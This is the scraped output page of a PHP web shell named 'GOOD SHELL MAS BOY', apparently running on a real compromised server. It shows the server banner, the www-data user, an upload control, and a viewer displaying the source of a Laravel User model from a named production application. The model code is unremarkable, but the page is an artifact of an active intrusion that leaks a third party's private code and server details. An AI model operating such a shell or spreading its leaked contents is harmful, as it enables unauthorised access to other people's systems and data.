GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/console.fixgini.com/app/Models/User.php
<?php

namespace App\Models;

use App\Models\Session;
use Illuminate\Support\Str;
use Laravel\Sanctum\HasApiTokens;
use Illuminate\Notifications\Notifiable;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\SoftDeletes;
use Illuminate\Foundation\Auth\User as Authenticatable;

class User extends Authenticatable
{
    use HasApiTokens, HasFactory, Notifiable, SoftDeletes;

    public function receivesBroadcastNotificationsOn(): string
    {
        return 'users.' . $this->id;
    }

    protected static function boot()
    {
        parent::boot();

        static::creating(function ($model) {
            if (empty($model->uuid)) {
                $model->uuid = (string) Str::uuid();
            }
        });
    }

    public $incrementing = true;
    protected $keyType = 'int';

    protected $fillable = [
        'name',
        'lastname',
        'profile_photo_url',
        'role',
        'email',
        'phone',
        'status',
        'nationality_id',
        'city',
        'state',
        'latitude',
        'longitude',
        'is_fingerprint',
        'is_pin',
        'address',
        'google_id',
        'fcm_token',
        'email_verified_at',
        'uuid',
        'password',
    ];


    protected $hidden = [
        'password',
        'remember_token',
    ];



    protected function casts(): array
    {
        return [
            'email_verified_at' => 'datetime',
            'password' => 'hashed',
        ];
    }


    public function bank_detail()
    {
        return $this->hasOne(BankDetail::class);
    }

    public function shop()
    {
        return $this->hasOne(Shop::class);
    }
    public function session()
    {
        return $this->hasOne(Session::class, 'user_id');
    }

    public function country()
    {
        return $this->hasOne(Country::class, 'id', 'nationality_id');
    }

    public function wallet()
    {
        return $this->hasOne(Wallet::class);
    }

    public function profile()
    {
        return $this->hasOne(Profile::class);
    }
    public function activity()
    {
        return $this->hasOne(UserActivity::class);
    }
    public function certificate()
    {
        return $this->hasMany(SellerCertificate::class);
    }
}